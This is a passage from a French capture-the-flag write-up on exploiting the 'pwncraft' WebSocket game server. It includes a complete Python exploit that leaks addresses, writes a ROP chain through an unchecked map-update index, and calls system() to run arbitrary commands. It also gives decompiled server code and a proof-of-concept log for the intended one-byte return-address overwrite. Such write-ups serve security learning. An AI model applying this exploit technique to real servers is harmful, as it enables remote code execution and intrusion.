Lors des appels aux fonctions de la libc, les arguments sont d’abord placés dans les registres, puis dans la pile. En résumé, cela se présente comme suit : fonction(rdi, rsi, rdx, rcx, r8, r9, pile, (pile + 8), ...). Ainsi, pour les fonctions nécessitant trois arguments ou plus, il est essentiel de contrôler le registre RDX. Ce registre s’avère crucial, car il est initialisé à 0 au moment du ROP. En explorant le binaire, il est possible de créer un gadget adapté.
objdump -d pwncraft|grep -B 10 ret|grep -A 10 rdx
On obtient l’offset 0x292c avec le code assembleur suivant:
292c: 4c 89 e2 mov %r12,%rdx
292f: e8 8c ea ff ff call 13c0 <memcpy@plt>
2934: 5b pop %rbx
2935: 31 c0 xor %eax,%eax
2937: 5d pop %rbp
2938: 41 5c pop %r12
293a: c3 ret
Il suffit de placer une adresse valide à la fois en lecture et en écriture dans rdi et la même dans rsi pour éviter
de corrompre la mémoire pendant l’appel à memcpy. La valeur destinée à rdx doit aller dans r12, pour laquelle
il existe au moins un gadget. Il faudra également ajouter trois valeurs factices pour gérer les trois pops.
Cependant, il est important de noter que nous ne pouvons utiliser que les imports de pwncraft.
La LIBC n’est pas fournie, ce qui limite notre portée : il n’y a pas de fonctions execve, system, open, et peu de gadgets disponibles.
La méthode de résolution dynamique Ret2dlresolve est intéressante car elle réutilise le système d’importation du binaire après avoir remplacé les noms de fonctions. Toutefois, cela nécessite d’écrire dans la GOT, ce qui est impossible car le binaire est entièrement protégé par “Relocation Read Only”.
Une possibilité est d’utiliser fopen() pour tenter de lire un fichier flag.txt, mais cela requiert une
structure FILE* à placer dans les registres, et il y a peu de gadgets pour cela. Ensuite, il faudrait passer
le handle à read(), ce qui complique encore la tâche.
Bonnes Nouvelles
Nous pouvons tout de même lire des zones mémoires arbitraires en appelant write. Une option serait de
dumper la LIBC et d’explorer ses en-têtes à la recherche de fonctions utiles. Cependant, une méthode plus
fiable et simple consiste à obtenir les adresses des fonctions directement.
Après quelques essais, nous avons trouvé les valeurs suivantes :
- 0x7ff4c9d918e0 pour
write(nous conservons …8e0, le reste est aléatoire à cause du PIE) - 0x7ff4c9cfc630 pour
fopen(nous conservons …630)
Nous interrogeons des ressources comme libc.blukat.me (ou libc.rip) pour identifier la version correspondant à ces adresses et la télécharger. Deux candidates très proches se présentent : libc6_2.35-0ubuntu3.11_amd64.so et 3.12.
Spoiler alert : la première a fonctionné.
Nous l’utilisons avec la bibliothèque pwntools pour accéder aux symboles open, system, dup2, read, write,
et pour accéder à des gadgets. Nous avons son adresse en mémoire (leak map). L’accès est libre.
Utilisation de System
Pour utiliser system, il faut passer la commande en argument. Nous pourrions l’envoyer à la suite
du ROP et déduire son adresse à partir du leak. Une solution plus simple consiste à construire
le ROP de la manière suivante :
- Effectuer un
read()au préalable à une adresse connue dans le segment .data du binaire. - Lancer
system()avec la même adresse.
Du côté client, nous provoquons le ROP en envoyant un opcode qui déclenche la fin du jeu (opcode 0).
La boucle se termine, et la fonction retourne à la première adresse du ROP, etc. Nous envoyons la commande,
qui sera lue par read() puis exécutée par system().
L’envoi des payloads est un peu fastidieux en raison du protocole qui envoie byte par byte. Pendant mes tests, j’ai utilisé un stager pour accepter une seconde chaîne ROP dans .data et transférer le contrôle. Toutefois, pour cette version optimisée, cela n’est pas vraiment nécessaire.
Etape 3: post exploitation
Après quelques tentatives infructueuses pour trouver un flag.txt, je pensais que quelqu’un était passé avant et l’avait effacé.
J’ai contacté l’équipe admin qui m’a directement donné la solution ; il faut utiliser le fichier debug_map.
On peut l’obtenir avec un simple cat debug_map >&4 2>&1.
Reste à le traduire en flag avec ce code :
with open('debug_map', 'rb') as fp:
data = fp.read()
height = 10
width = 64
for y in range(height):
for x in range(width):
if data[2 + y * width + x] != 0xff:
print(' #', end='')
else:
print(" ", end='')
print()
Et voici le code complet: (il faut le binaire pwncraft_server et la libc téléchargée depuis https://libc.blukat.me/d/libc6_2.35-0ubuntu3.11_amd64.so)
#!/usr/bin/env python3
"""
usage ./exploit.py 'pwd;id;ls -al'
"""
from elftools.construct.lib import hexdump
from websocket import create_connection # python3-websocket
from pwn import *
import argparse
context.arch = 'amd64'
context.log_level = 'debug'
class WSClient:
def __init__(self, url):
self.ws = create_connection(url)
def send(self, data):
self.ws.send_binary(data)
def recv(self, timeout=2):
return self.ws.recv()
def close(self):
self.ws.close()
# interface du protocole du jeu
def solve(opcode,version=1,control=0,payload=b'',recv=True):
payload=p8((version<<4)+control)+p8(opcode)+p16(len(payload),endian='big')+payload
io.send(payload)
if recv:
return io.recv()
else:
return None
def readany(offset,size=32):
rop=ROP(elf)
# rop.rdx custom gadget
rop.rsi=datarw+0x100 # random but valid
rop.rdi=datarw+0x100 # random but valid
rop.r12=size
rop.raw(elf.address+0x292c) # gadget
rop.raw(0)
rop.raw(0)
rop.raw(0)
# end of rop.rdx
rop.rdi=socket_fd
rop.rsi=offset
rop.write()
upload(rop.chain())
solve(opcode=0,recv=False) # exit loop, trigger ROP
return os.read(io.ws.fileno(), size)
def upload(payload):
start_offset = 0x108e - 6 # emplacement d'une valeur de retour dans la pile pour un ret
for i in range(len(payload)):
current_pos = start_offset + i
row = current_pos // 40
col = current_pos % 40
solve(opcode=2, payload=p8(col) + p8(row) + payload[i:i+1])
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("command", nargs="?", default="id", help="Command to execute on the target")
args = parser.parse_args()
cmd = args.command
url = "ws://pwn.jeanne-hack-ctf.org:8080"
elf=ELF("pwncraft_server",checksec=False)
libc=ELF("libc6_2.35-0ubuntu3.11_amd64.so",checksec=False)
io = WSClient(url)
info(f"Connecté au serveur sur {url}")
leak=solve(opcode=1,payload=b'\x00\x00\x50\x50') # read map and more
# log.info(f'leak: {hexdump(leak)}')
baseaddr=leak[0x107e:0x1086]
baseaddr=int.from_bytes(baseaddr,'little')
baseaddr-=0x40c4 # adresse de 'fork' dans le binaire
elf.address=baseaddr
log.info(f'base addr: {hex(baseaddr)}')
__libc_start_main=leak[0x111e:0x1126]
__libc_start_main=int.from_bytes(__libc_start_main,'little') +122 # exact enough
libc_address=(__libc_start_main - libc.symbols['__libc_start_main']) & 0xfffffffffff00
libc.address=libc_address
log.info(f'libc base: {hex(libc_address)}')
socket_fd = 4 # filehandler probable pour websocket
datarw = elf.address + elf.get_section_by_name('.data').header.sh_addr + 0x0800 # leave some room for the rop futur stack
log.info(f'datarw: {hex(datarw)}')
# dump libc functions addresses
# log.info('dumping libc function address, please wait..')
# print(hex(u64(readany(elf.got.write,8)))) ; exit()
# system()
log.info('sending payload, please wait..')
rop=ROP([elf,libc])
rop.rsi=datarw+0x100 # random but valid
rop.rdi=datarw+0x100 # random but valid
rop.r12=0x200
rop.raw(elf.address+0x292c) # mov rdx, r12.... pop*3 ret
rop.raw(0)
rop.raw(0)
rop.raw(0)
# end of rop.rdx
rop.read(socket_fd,datarw) # rdi=socket_fd, rsi=datarw, rdx=0x200
rop.system(datarw)
upload(rop.chain())
log.info("jumping to ROP")
solve(opcode=0,recv=False) # exit loop, trigger ROP
os.write(io.ws.fileno(), f"{cmd} >&4 2>&1\x00".encode())
print(os.read(io.ws.fileno(), 0x1500).decode('latin1'))
Solution attendue
La solution imaginée par l’auteur était plus simple que celle présentée ci-dessus. En inspectant le code du jeu côté client, on trouve le code JavaScript suivant :
// Left click: destroy block
canvas.addEventListener('mousedown', (e) => {
...
const tile = getTileUnderMouse(e);
if (tile) {
const { tx, ty } = tile;
// Place block only if empty and not inside player collision box
if (map.tiles[ty][tx] === -1 && !playerOccupiesTile(tx, ty)) {
window.ws.sendUpdateMap(tx, ty, selectedBlockType).then(success => {
if (success) {
console.log("Update Map succeeded");
map.tiles[ty][tx] = selectedBlockType; // place a ground block (e.g., dirt)
} else {
console.log("Update Map failed or timeout");
}
});
}
}
...
}
// Helper to get tile under mouse based on canvas coords and camera offset
function getTileUnderMouse(event) {
const rect = canvas.getBoundingClientRect();
const mouseX = event.clientX - rect.left + camera.x;
const mouseY = event.clientY - rect.top + camera.y;
const tx = Math.floor(mouseX / tileSize);
const ty = Math.floor(mouseY / tileSize);
if (tx >= 0 && tx < map.width && ty >= 0 && ty < map.height) {
return { tx, ty };
}
return null;
}
On remarque que la fonction getTileUnderMouse vérifie que les coordonnées où l’on souhaite
placer ou retirer un bloc ne dépassent pas les dimensions de la carte. Il s’agit d’un indice
pour laisser penser au joueur que la vérification est uniquement côté client. La description
du challenge renforce cette hypothèse : “un mauvais bloc, et vous pourriez bien tomber hors
de la réalité elle-même”.
L’analyse du code du serveur nous fournit le pseudocode suivant :
int handle_client(int fd, int debug) {
int iVar1;
char *pcVar2;
long in_FS_OFFSET;
char opcode;
ulong length;
byte *payload;
frame frame;
client client;
long local_40;
iVar1 = create_client(&client,fd,debug);
if (iVar1 != 0) {
puts("Error: Fail to create client");
close(fd);
exit(1);
}
log(&client,"Handling new client\n");
iVar1 = websocket_handshake(fd);
if (iVar1 != 0) {
pcVar2 = "WebSocket handshake failed\n";
LAB_001018ac:
log(&client,pcVar2);
close(fd);
exit(1);
}
length = 0;
payload = (byte *)0x0;
while( true ) {
iVar1 = recv_frame(fd,&opcode,&payload,&length);
if (iVar1 != 1) {
log(&client,"Invalid WebSocket frame received\n");
pcVar2 = "Client disconnected\n";
goto LAB_001018ac;
}
if (length == 0) goto LAB_0010185c;
if (opcode == '\b') break;
if (opcode == '\t') {
send_frame(fd,10,&payload,length);
free(payload);
}
else if (opcode == '\n') {
free(payload);
}
else {
if (1 < (byte)(opcode - 1U)) break;
iVar1 = decode_frame(payload,length,&frame);
if (iVar1 < 0) goto LAB_0010185c;
iVar1 = handle_frame(&client,&frame);
free_frame(&frame);
free(payload);
if (iVar1 != 0) {
if (iVar1 < 0) {
log(&client,"Client disconnected because of error\n");
}
else {
LAB_0010185c:
log(&client,"Client sent disconnection request\n");
}
}
}
}
send_frame(fd,8,&payload,length);
free(payload);
goto LAB_0010185c;
}
La fonction handle_client est appelée depuis main avec comme second paramètre 1 si le flag --debug
est présent sur la ligne de commande, 0 sinon. Cette fonction commence par initialiser une structure
client sur la pile via create_client, puis effectue un handshake WebSocket. Une fois le handshake
terminé, une boucle infinie traite les messages reçus via ce canal.
La fonction handle_frame possède le pseudocode suivant :
int handle_frame(client *client, frame *frame) {
if (frame->version != 1) {
log(client,"Unsupported protocol version %d\n");
goto LAB_00102935;
}
log(client,"Received frame: version=%d control=%x opcode=%x payload_size=%d\n",1,frame->control,
frame->opcode,frame->size);
opcode = frame->opcode;
if (opcode == OPCODE_EXIT) {
puVar7 = (undefined4 *)malloc(4);
if (puVar7 != (undefined4 *)0x0) {
*puVar7 = 0x311;
send_frame(client->client_fd,2,puVar7,4);
free(puVar7);
}
iVar6 = 1;
goto LAB_0010293a;
}
if (opcode < 4) {
if (opcode == OPCODE_READ_MAP) {
if (frame->size == 4) {
// Copy map into payload ...
}
else {
log(client,"Read map request invalid size %d\n",frame->size);
}
}
else {
if (opcode != OPCODE_UPDATE_MAP) goto LAB_00102a60;
if (frame->size == 3) {
pbVar10 = frame->payload;
client->map[(ulong)*pbVar10 + (ulong)pbVar10[1] * client->width] = pbVar10[2];
puVar7 = (undefined4 *)malloc(4);
if (puVar7 != (undefined4 *)0x0) {
*puVar7 = 0x1011;
iVar6 = client->client_fd;
uVar9 = 4;
goto LAB_00102a18;
}
goto LAB_00102a2d;
}
log(client,"Update map payload size invalid\n");
}
}
else {
if (opcode == OPCODE_MAP_DIMENSION) {
uVar3 = client->width;
uVar4 = client->height;
puVar7 = (undefined4 *)malloc(6);
if (puVar7 != (undefined4 *)0x0) {
*(ushort *)(puVar7 + 1) = CONCAT11((char)(short)uVar4,(char)uVar3);
iVar6 = client->client_fd;
uVar9 = 6;
*puVar7 = 0x2000411;
LAB_00102a18:
send_frame(iVar6,2,puVar7,uVar9);
free(puVar7);
}
LAB_00102a2d:
iVar6 = 0;
goto LAB_0010293a;
}
LAB_00102a60:
log(client,"Unknown protocol opcode %02x\n");
}
LAB_00102935:
iVar6 = -1;
LAB_0010293a:
return iVar6;
}
En analysant le code de la mise à jour de la carte (lorsque l’on place un bloc), on se rend compte que notre intuition était juste et qu’aucune vérification n’est effectuée côté serveur :
client->map[frame->payload[0] + frame->payload[1] * client->width] = frame->payload;
Ce code permet d’écrire un octet où l’on veut en mémoire… enfin presque. Comme les coordonnées x et y sont encodées sur un seul octet, il est possible de dépasser quelque peu de la carte mais pas suffisamment pour écraser directement la valeur de retour.
Afin d’améliorer notre primitive d’écriture, il est nécessaire d’étudier la structure client :
struct client {
int8_t map[4096];
uint64_t width;
uint64_t height;
pid_t pid;
int client_fd;
char ipstr[46];
};
On remarque que le champ width est situé juste après la zone mémoire de la carte, cette variable
étant suffisamment proche pour être écrasée, il est donc possible d’y écrire un octet afin d’obtenir
une valeur arbitrairement grande et ainsi d’augmenter la portée de notre primitive d’écriture.
Il nous est maintenant possible d’écraser la valeur de retour de la fonction handle_client.
Heureusement pour nous, un développeur peu diligent a laissé du code de debug dans le programme.
En effet, lorsque handle_client est appelé avec 1 comme second paramètre, la fonction
create_client initialise le contenu de la carte avec le contenu du fichier debug_map.
En examinant le code assembleur de la fonction main, nous obtenons :
XOR RSI,RSI
MOV EDI,EBX
CALL handle_client
MOV EBP,fd // <------- Valeur de retour initale
LAB_0010151e XREF[1]: 00101538(j)
MOV EDI,EBX
CALL <EXTERNAL>::close
JMP LAB_00101437
LAB_0010152a XREF[1]: 00101511(j)
MOV RSI,0x1
MOV EDI,EBX
CALL handle_client
MOV EBP,fd
JMP LAB_0010151e
La valeur de retour initiale de la fonction est située à seulement quelques octets du second appel
à handle_client, ainsi en remplaçant un seul octet pour rediriger le flot d’exécution
vers l’instruction MOV RSI, 0x1, il est possible d’appeler handle_client avec 1 en paramètre
puis d’utiliser les fonctionnalités du jeu pour récupérer le contenu de la carte.
Le script suivant implémente cette attaque :
$ python poc.py pwn.jeanne-hack-ctf.org
[+] Connecting to pwn.jeanne-hack-ctf.org:8080
[+] WebSocket handshake successful!
[+] Leaking memory
[+] Leaked return address address: 0x559da93fd622
[+] Sending map dimension frame
[+] Map size: (width: 40, height: 20)
[+] Requesting map
# # # # # # #
# # # # # # # # # # #
# # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
[+] Writing memory to increase map width
[+] Writing memory to change return address
[+] Sending exit to trigger return
[+] WebSocket handshake successful!
[+] Sending map dimension frame
[+] Map size: (width: 64, height: 10)
[+] Requesting map
# # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
[+] Sending exit